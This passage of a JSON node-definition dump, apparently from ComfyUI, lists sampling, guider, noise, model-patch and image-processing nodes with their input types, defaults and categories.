"has_intermediate_output": false}, "SplitSigmasDenoise": {"input": {"required": {"sigmas": ["SIGMAS", {}], "denoise": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["sigmas", "denoise"]}, "is_input_list": false, "output": ["SIGMAS", "SIGMAS"], "output_is_list": [false, false], "output_name": ["high_sigmas", "low_sigmas"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "SplitSigmasDenoise", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/sigmas", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FlipSigmas": {"input": {"required": {"sigmas": ["SIGMAS", {}]}}, "input_order": {"required": ["sigmas"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "FlipSigmas", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/sigmas", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SetFirstSigma": {"input": {"required": {"sigmas": ["SIGMAS", {}], "sigma": ["FLOAT", {"default": 136.0, "min": 0.0, "max": 20000.0, "step": 0.001, "round": false}]}}, "input_order": {"required": ["sigmas", "sigma"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "SetFirstSigma", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/sigmas", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ExtendIntermediateSigmas": {"input": {"required": {"sigmas": ["SIGMAS", {}], "steps": ["INT", {"default": 2, "min": 1, "max": 100}], "start_at_sigma": ["FLOAT", {"default": -1.0, "min": -1.0, "max": 20000.0, "step": 0.01, "round": false}], "end_at_sigma": ["FLOAT", {"default": 12.0, "min": 0.0, "max": 20000.0, "step": 0.01, "round": false}], "spacing": ["COMBO", {"multiselect": false, "options": ["linear", "cosine", "sine"]}]}}, "input_order": {"required": ["sigmas", "steps", "start_at_sigma", "end_at_sigma", "spacing"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "ExtendIntermediateSigmas", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/sigmas", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["interpolate sigmas"], "essentials_category": null, "has_intermediate_output": false}, "SamplingPercentToSigma": {"input": {"required": {"model": ["MODEL", {}], "sampling_percent": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 1.0, "step": 0.0001}], "return_actual_sigma": ["BOOLEAN", {"tooltip": "Return the actual sigma value instead of the value used for interval checks.\nThis only affects results at 0.0 and 1.0.", "default": false}]}}, "input_order": {"required": ["model", "sampling_percent", "return_actual_sigma"]}, "is_input_list": false, "output": ["FLOAT"], "output_is_list": [false], "output_name": ["sigma_value"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplingPercentToSigma", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/sigmas", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CFGGuider": {"input": {"required": {"model": ["MODEL", {}], "positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "cfg": ["FLOAT", {"default": 8.0, "min": 0.0, "max": 100.0, "step": 0.1, "round": 0.01}]}}, "input_order": {"required": ["model", "positive", "negative", "cfg"]}, "is_input_list": false, "output": ["GUIDER"], "output_is_list": [false], "output_name": ["GUIDER"], "output_tooltips": [null], "output_matchtypes": null, "name": "CFGGuider", "display_name": "CFG Guider", "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/guiders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "DualCFGGuider": {"input": {"required": {"model": ["MODEL", {}], "cond1": ["CONDITIONING", {}], "cond2": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "cfg_conds": ["FLOAT", {"default": 8.0, "min": 0.0, "max": 100.0, "step": 0.1, "round": 0.01}], "cfg_cond2_negative": ["FLOAT", {"default": 8.0, "min": 0.0, "max": 100.0, "step": 0.1, "round": 0.01}], "style": ["COMBO", {"multiselect": false, "options": ["regular", "nested"]}]}}, "input_order": {"required": ["model", "cond1", "cond2", "negative", "cfg_conds", "cfg_cond2_negative", "style"]}, "is_input_list": false, "output": ["GUIDER"], "output_is_list": [false], "output_name": ["GUIDER"], "output_tooltips": [null], "output_matchtypes": null, "name": "DualCFGGuider", "display_name": "Dual CFG Guider", "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/guiders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["dual prompt guidance"], "essentials_category": null, "has_intermediate_output": false}, "DualModelGuider": {"input": {"required": {"model": ["MODEL", {"tooltip": "Model used for the positive (conditional) pass."}], "positive": ["CONDITIONING", {}], "cfg": ["FLOAT", {"default": 4.0, "min": 0.0, "max": 100.0, "step": 0.1, "round": 0.01}]}, "optional": {"model_negative": ["MODEL", {"tooltip": "Model used for the negative (unconditional) pass. Use the same model for ordinary CFG."}], "negative": ["CONDITIONING", {"tooltip": "Negative conditioning run on the negative model. Leave unconnected for a text-free (image-only) unconditional pass."}]}}, "input_order": {"required": ["model", "positive", "cfg"], "optional": ["model_negative", "negative"]}, "is_input_list": false, "output": ["GUIDER"], "output_is_list": [false], "output_name": ["GUIDER"], "output_tooltips": [null], "output_matchtypes": null, "name": "DualModelGuider", "display_name": "Dual Model CFG Guider", "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/guiders", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "BasicGuider": {"input": {"required": {"model": ["MODEL", {}], "conditioning": ["CONDITIONING", {}]}}, "input_order": {"required": ["model", "conditioning"]}, "is_input_list": false, "output": ["GUIDER"], "output_is_list": [false], "output_name": ["GUIDER"], "output_tooltips": [null], "output_matchtypes": null, "name": "BasicGuider", "display_name": "Basic Guider", "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/guiders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RandomNoise": {"input": {"required": {"noise_seed": ["INT", {"default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}}, "input_order": {"required": ["noise_seed"]}, "is_input_list": false, "output": ["NOISE"], "output_is_list": [false], "output_name": ["NOISE"], "output_tooltips": [null], "output_matchtypes": null, "name": "RandomNoise", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/noise", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "DisableNoise": {"input": {"required": {}}, "input_order": {"required": []}, "is_input_list": false, "output": ["NOISE"], "output_is_list": [false], "output_name": ["NOISE"], "output_tooltips": [null], "output_matchtypes": null, "name": "DisableNoise", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/noise", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["zero noise"], "essentials_category": null, "has_intermediate_output": false}, "AddNoise": {"input": {"required": {"model": ["MODEL", {}], "noise": ["NOISE", {}], "sigmas": ["SIGMAS", {}], "latent_image": ["LATENT", {}]}}, "input_order": {"required": ["model", "noise", "sigmas", "latent_image"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "AddNoise", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "experimental/custom_sampling/noise", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerCustomAdvanced": {"input": {"required": {"noise": ["NOISE", {}], "guider": ["GUIDER", {}], "sampler": ["SAMPLER", {}], "sigmas": ["SIGMAS", {}], "latent_image": ["LATENT", {}]}}, "input_order": {"required": ["noise", "guider", "sampler", "sigmas", "latent_image"]}, "is_input_list": false, "output": ["LATENT", "LATENT"], "output_is_list": [false, false], "output_name": ["output", "denoised_output"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "SamplerCustomAdvanced", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/custom", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ManualSigmas": {"input": {"required": {"sigmas": ["STRING", {"default": "1, 0.5", "multiline": false}]}}, "input_order": {"required": ["sigmas"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "ManualSigmas", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "experimental/custom_sampling", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["custom noise schedule", "define sigmas"], "essentials_category": null, "has_intermediate_output": false}, "HyperTile": {"input": {"required": {"model": ["MODEL", {}], "tile_size": ["INT", {"advanced": true, "default": 256, "min": 1, "max": 2048}], "swap_size": ["INT", {"advanced": true, "default": 2, "min": 1, "max": 128}], "max_depth": ["INT", {"advanced": true, "default": 0, "min": 0, "max": 10}], "scale_depth": ["BOOLEAN", {"advanced": true, "default": false}]}}, "input_order": {"required": ["model", "tile_size", "swap_size", "max_depth", "scale_depth"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "HyperTile", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_hypertile", "category": "model/patch/unet", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ModelSamplingDiscrete": {"input": {"required": {"model": ["MODEL"], "sampling": [["eps", "v_prediction", "lcm", "x0", "img_to_img", "img_to_img_flow"]], "zsnr": ["BOOLEAN", {"default": false, "advanced": true}]}}, "input_order": {"required": ["model", "sampling", "zsnr"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelSamplingDiscrete", "display_name": "ModelSamplingDiscrete", "description": "", "python_module": "comfy_extras.nodes_model_advanced", "category": "model/patch", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelSamplingContinuousEDM": {"input": {"required": {"model": ["MODEL"], "sampling": [["v_prediction", "edm", "edm_playground_v2.5", "eps", "cosmos_rflow"]], "sigma_max": ["FLOAT", {"default": 120.0, "min": 0.0, "max": 1000.0, "step": 0.001, "round": false, "advanced": true}], "sigma_min": ["FLOAT", {"default": 0.002, "min": 0.0, "max": 1000.0, "step": 0.001, "round": false, "advanced": true}]}}, "input_order": {"required": ["model", "sampling", "sigma_max", "sigma_min"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelSamplingContinuousEDM", "display_name": "ModelSamplingContinuousEDM", "description": "", "python_module": "comfy_extras.nodes_model_advanced", "category": "model/patch", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelSamplingContinuousV": {"input": {"required": {"model": ["MODEL"], "sampling": [["v_prediction"]], "sigma_max": ["FLOAT", {"default": 500.0, "min": 0.0, "max": 1000.0, "step": 0.001, "round": false, "advanced": true}], "sigma_min": ["FLOAT", {"default": 0.03, "min": 0.0, "max": 1000.0, "step": 0.001, "round": false, "advanced": true}]}}, "input_order": {"required": ["model", "sampling", "sigma_max", "sigma_min"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelSamplingContinuousV", "display_name": "ModelSamplingContinuousV", "description": "", "python_module": "comfy_extras.nodes_model_advanced", "category": "model/patch", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelSamplingStableCascade": {"input": {"required": {"model": ["MODEL"], "shift": ["FLOAT", {"default": 2.0, "min": 0.0, "max": 100.0, "step": 0.01}]}}, "input_order": {"required": ["model", "shift"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelSamplingStableCascade", "display_name": "ModelSamplingStableCascade", "description": "", "python_module": "comfy_extras.nodes_model_advanced", "category": "model/patch/stable cascade", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelSamplingSD3": {"input": {"required": {"model": ["MODEL"], "shift": ["FLOAT", {"default": 3.0, "min": 0.0, "max": 100.0, "step": 0.01}]}}, "input_order": {"required": ["model", "shift"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelSamplingSD3", "display_name": "ModelSamplingSD3", "description": "", "python_module": "comfy_extras.nodes_model_advanced", "category": "model/patch/stable diffusion", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelSamplingAuraFlow": {"input": {"required": {"model": ["MODEL"], "shift": ["FLOAT", {"default": 1.73, "min": 0.0, "max": 100.0, "step": 0.01}]}}, "input_order": {"required": ["model", "shift"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelSamplingAuraFlow", "display_name": "ModelSamplingAuraFlow", "description": "", "python_module": "comfy_extras.nodes_model_advanced", "category": "model/patch", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelSamplingFlux": {"input": {"required": {"model": ["MODEL"], "max_shift": ["FLOAT", {"default": 1.15, "min": 0.0, "max": 100.0, "step": 0.01, "advanced": true}], "base_shift": ["FLOAT", {"default": 0.5, "min": 0.0, "max": 100.0, "step": 0.01, "advanced": true}], "width": ["INT", {"default": 1024, "min": 16, "max": 16384, "step": 8}], "height": ["INT", {"default": 1024, "min": 16, "max": 16384, "step": 8}]}}, "input_order": {"required": ["model", "max_shift", "base_shift", "width", "height"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelSamplingFlux", "display_name": "ModelSamplingFlux", "description": "", "python_module": "comfy_extras.nodes_model_advanced", "category": "model/patch/flux", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelNoiseScale": {"input": {"required": {"model": ["MODEL"], "noise_scale": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 64.0, "step": 0.01, "tooltip": "Absolute training noise scale. For example HiDream-O1 base: 8.0, dev: 7.5."}]}}, "input_order": {"required": ["model", "noise_scale"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelNoiseScale", "display_name": "ModelNoiseScale", "description": "", "python_module": "comfy_extras.nodes_model_advanced", "category": "model/patch", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "RescaleCFG": {"input": {"required": {"model": ["MODEL"], "multiplier": ["FLOAT", {"default": 0.7, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model", "multiplier"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "RescaleCFG", "display_name": "RescaleCFG", "description": "", "python_module": "comfy_extras.nodes_model_advanced", "category": "model/patch", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelComputeDtype": {"input": {"required": {"model": ["MODEL"], "dtype": [["default", "fp32", "fp16", "bf16"], {"advanced": true}]}}, "input_order": {"required": ["model", "dtype"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelComputeDtype", "display_name": "ModelComputeDtype", "description": "", "python_module": "comfy_extras.nodes_model_advanced", "category": "advanced/debug", "output_node": false, "has_intermediate_output": false, "search_aliases": ["model precision", "change dtype"]}, "PatchModelAddDownscale": {"input": {"required": {"model": ["MODEL", {}], "block_number": ["INT", {"advanced": true, "default": 3, "min": 1, "max": 32, "step": 1}], "downscale_factor": ["FLOAT", {"default": 2.0, "min": 0.1, "max": 9.0, "step": 0.001}], "start_percent": ["FLOAT", {"advanced": true, "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}], "end_percent": ["FLOAT", {"advanced": true, "default": 0.35, "min": 0.0, "max": 1.0, "step": 0.001}], "downscale_after_skip": ["BOOLEAN", {"advanced": true, "default": true}], "downscale_method": ["COMBO", {"multiselect": false, "options": ["bicubic", "nearest-exact", "bilinear", "area", "bislerp"]}], "upscale_method": ["COMBO", {"multiselect": false, "options": ["bicubic", "nearest-exact", "bilinear", "area", "bislerp"]}]}}, "input_order": {"required": ["model", "block_number", "downscale_factor", "start_percent", "end_percent", "downscale_after_skip", "downscale_method", "upscale_method"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "PatchModelAddDownscale", "display_name": "PatchModelAddDownscale (Kohya Deep Shrink)", "description": "", "python_module": "comfy_extras.nodes_model_downscale", "category": "model/patch/unet", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ImageCrop": {"input": {"required": {"image": ["IMAGE", {}], "width": ["INT", {"default": 512, "min": 1, "max": 16384, "step": 1}], "height": ["INT", {"default": 512, "min": 1, "max": 16384, "step": 1}], "x": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}], "y": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}]}}, "input_order": {"required": ["image", "width", "height", "x", "y"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageCrop", "display_name": "Crop Image (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_images", "category": "image/transform", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["trim"], "essentials_category": "Image Tools", "has_intermediate_output": false}, "ImageCropV2": {"input": {"required": {"image": ["IMAGE", {}], "crop_region": ["BOUNDING_BOX", {"default": {"x": 0, "y": 0, "width": 512, "height": 512}, "socketless": true, "component": "ImageCrop"}]}}, "input_order": {"required": ["image", "crop_region"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageCropV2", "display_name": "Crop Image", "description": "Crop an image to the specified dimensions.", "python_module": "comfy_extras.nodes_images", "category": "image/transform", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["crop", "cut", "trim"], "essentials_category": "Image Tools", "has_intermediate_output": true}, "PrimitiveBoundingBox": {"input": {"required": {"x": ["INT", {"default": 0, "min": 0, "max": 16384}], "y": ["INT", {"default": 0, "min": 0, "max": 16384}], "width": ["INT", {"default": 512, "min": 1, "max": 16384}], "height": ["INT", {"default": 512, "min": 1, "max": 16384}]}}, "input_order": {"required": ["x", "y", "width", "height"]}, "is_input_list": false, "output": ["BOUNDING_BOX"], "output_is_list": [false], "output_name": ["BOUNDING_BOX"], "output_tooltips": [null], "output_matchtypes": null, "name": "PrimitiveBoundingBox", "display_name": "Bounding Box", "description": "", "python_module": "comfy_extras.nodes_images", "category": "utilities/primitive", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RepeatImageBatch": {"input": {"required": {"image": ["IMAGE", {}], "amount": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["image", "amount"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "RepeatImageBatch", "display_name": "Repeat Image Batch", "description": "", "python_module": "comfy_extras.nodes_images", "category": "image/batch", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["duplicate image", "clone image"], "essentials_category": null, "has_intermediate_output": false}, "ImageFromBatch": {"input": {"required": {"image": ["IMAGE", {}], "batch_index": ["INT", {"default": 0, "min": -16384, "max": 16384}], "length": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["image", "batch_index", "length"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageFromBatch", "display_name": "Get Image from Batch", "description": "", "python_module": "comfy_extras.nodes_images", "category": "image/batch", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["select image", "pick from batch", "extract image"], "essentials_category": null, "has_intermediate_output": false}, "ImageAddNoise": {"input": {"required": {"image": ["IMAGE", {}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "strength": ["FLOAT", {"default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["image", "seed", "strength"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageAddNoise", "display_name": "Add Noise to Image", "description": "", "python_module": "comfy_extras.nodes_images", "category": "image/filters", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["film grain"], "essentials_category": null, "has_intermediate_output": false}, "SaveAnimatedWEBP": {"input": {"required": {"images": ["IMAGE", {}], "filename_prefix": ["STRING", {"default": "ComfyUI", "multiline": false}], "fps": ["FLOAT", {"default": 6.0, "min": 0.01, "max": 1000.0, "step": 0.01}], "lossless": ["BOOLEAN", {"default": true}], "quality": ["INT", {"default": 80, "min": 0, "max": 100}], "method": ["COMBO", {"multiselect": false, "options": ["default", "fastest", "slowest"]}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["images", "filename_prefix", "fps", "lossless", "quality", "method"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "output_tooltips": [null], "output_matchtypes": null, "name": "SaveAnimatedWEBP", "display_name": "Save Animated WEBP", "description": "", "python_module": "comfy_extras.nodes_images", "category": "image", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SaveAnimatedPNG": {"input": {"required": {"images": ["IMAGE", {}], "filename_prefix": ["STRING", {"default": "ComfyUI", "multiline": false}], "fps": ["FLOAT", {"default": 6.0, "min": 0.01, "max": 1000.0, "step": 0.01}], "compress_level": ["INT", {"advanced": true, "default": 4, "min": 0, "max": 9}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["images", "filename_prefix", "fps", "compress_level"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "output_tooltips": [null], "output_matchtypes": null, "name": "SaveAnimatedPNG", "display_name": "Save Animated PNG", "description": "", "python_module": "comfy_extras.nodes_images", "category": "image", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SaveImageAdvanced": {"input": {"required": {"images": ["IMAGE", {"tooltip": "The images to save."}], "filename_prefix": ["STRING", {"tooltip": "The prefix for the file to save. May include formatting tokens such as %date:yyyy-MM-dd% or %Empty Latent Image.width%.", "default": "ComfyUI", "multiline": false}], "format": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "The file format in which to save the image.", "options": [{"key": "png", "inputs": {"required": {"bit_depth": ["COMBO", {"advanced": true, "default": "8-bit", "multiselect": false, "options": ["8-bit", "16-bit"]}], "input_color_space": ["COMBO", {"advanced": true, "default": "sRGB", "multiselect": false, "options": ["sRGB"]}]}}}, {"key": "exr", "inputs": {"required": {"bit_depth": ["COMBO", {"advanced": true, "default": "32-bit float", "multiselect": false, "options": ["32-bit float"]}], "input_color_space": ["COMBO", {"tooltip": "Colorspace of the input tensor. The EXR is always written as scene-linear in the matching gamut.\nsRGB \u2014 input is sRGB-encoded Rec.709; the inverse sRGB EOTF is applied.\nHDR \u2014 input is HLG-encoded Rec.2020 (BT.2100); the inverse HLG OETF is applied to get scene-linear light.\nlinear \u2014 input is already scene-linear (Rec.709 primaries); written through unchanged. Use this for renderer/compositor output.", "advanced": true, "default": "sRGB", "multiselect": false, "options": ["sRGB", "HDR", "linear"]}]}}}]}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["images", "filename_prefix", "format"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "output_tooltips": [null], "output_matchtypes": null, "name": "SaveImageAdvanced", "display_name": "Save Image (Advanced)", "description": "Saves the input images to your ComfyUI output directory.", "python_module": "comfy_extras.nodes_images", "category": "image", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["save", "save image", "export image", "output image", "write image"], "essentials_category": "Basics", "has_intermediate_output": false}, "SaveSVGNode": {"input": {"required": {"svg": ["SVG", {}], "filename_prefix": ["STRING", {"tooltip": "The prefix for the file to save. This may include formatting information such as %date:yyyy-MM-dd% or %Empty Latent Image.width% to include values from nodes.", "default": "svg/ComfyUI", "multiline": false}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["svg", "filename_prefix"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["SVG"], "output_is_list": [false], "output_name": ["svg"], "output_tooltips": [null], "output_matchtypes": null, "name": "SaveSVGNode", "display_name": "Save SVG", "description": "Save SVG files on disk.", "python_module": "comfy_extras.nodes_images", "category": "image", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["export vector", "save vector graphics"], "essentials_category": null, "has_intermediate_output": false}, "ImageStitch": {"input": {"required": {"image1": ["IMAGE", {}], "direction": ["COMBO", {"default": "right", "multiselect": false, "options": ["right", "down", "left", "up"]}], "match_image_size": ["BOOLEAN", {"default": true}], "spacing_width": ["INT", {"advanced": true, "default": 0, "min": 0, "max": 1024, "step": 2}], "spacing_color": ["COMBO", {"advanced": true, "default": "white", "multiselect": false, "options": ["white", "black", "red", "green", "blue"]}]}, "optional": {"image2": ["IMAGE", {}]}}, "input_order": {"required": ["image1", "direction", "match_image_size", "spacing_width", "spacing_color"], "optional": ["image2"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageStitch", "display_name": "Stitch Images", "description": "Stitches image2 to image1 in the specified direction.\nIf image2 is not provided, returns image1 unchanged.\nOptional spacing can be added between images.", "python_module": "comfy_extras.nodes_images", "category": "image/transform", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["combine images", "join images", "concatenate images", "side by side"], "essentials_category": null, "has_intermediate_output": false}, "ResizeAndPadImage": {"input": {"required": {"image": ["IMAGE", {}], "target_width": ["INT", {"default": 512, "min": 1, "max": 16384, "step": 1}], "target_height": ["INT", {"default": 512, "min": 1, "max": 16384, "step": 1}], "padding_color": ["COMBO", {"advanced": true, "multiselect": false, "options": ["white", "black"]}], "interpolation": ["COMBO", {"advanced": true, "multiselect": false, "options": ["area", "bicubic", "nearest-exact", "bilinear", "lanczos"]}]}}, "input_order": {"required": ["image", "target_width", "target_height", "padding_color", "interpolation"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ResizeAndPadImage", "display_name": "Resize And Pad Image", "description": "", "python_module": "comfy_extras.nodes_images", "category": "image/transform", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["fit to size"], "essentials_category": null, "has_intermediate_output": false}, "GetImageSize": {"input": {"required": {"image": ["IMAGE", {}]}, "hidden": {"unique_id": ["UNIQUE_ID"]}}, "input_order": {"required": ["image"], "hidden": ["unique_id"]}, "is_input_list": false, "output": ["INT", "INT", "INT"], "output_is_list": [false, false, false], "output_name": ["width", "height", "batch_size"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "GetImageSize", "display_name": "Get Image Size", "description": "Returns width and height of the image, and passes it through unchanged.", "python_module": "comfy_extras.nodes_images", "category": "image", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, 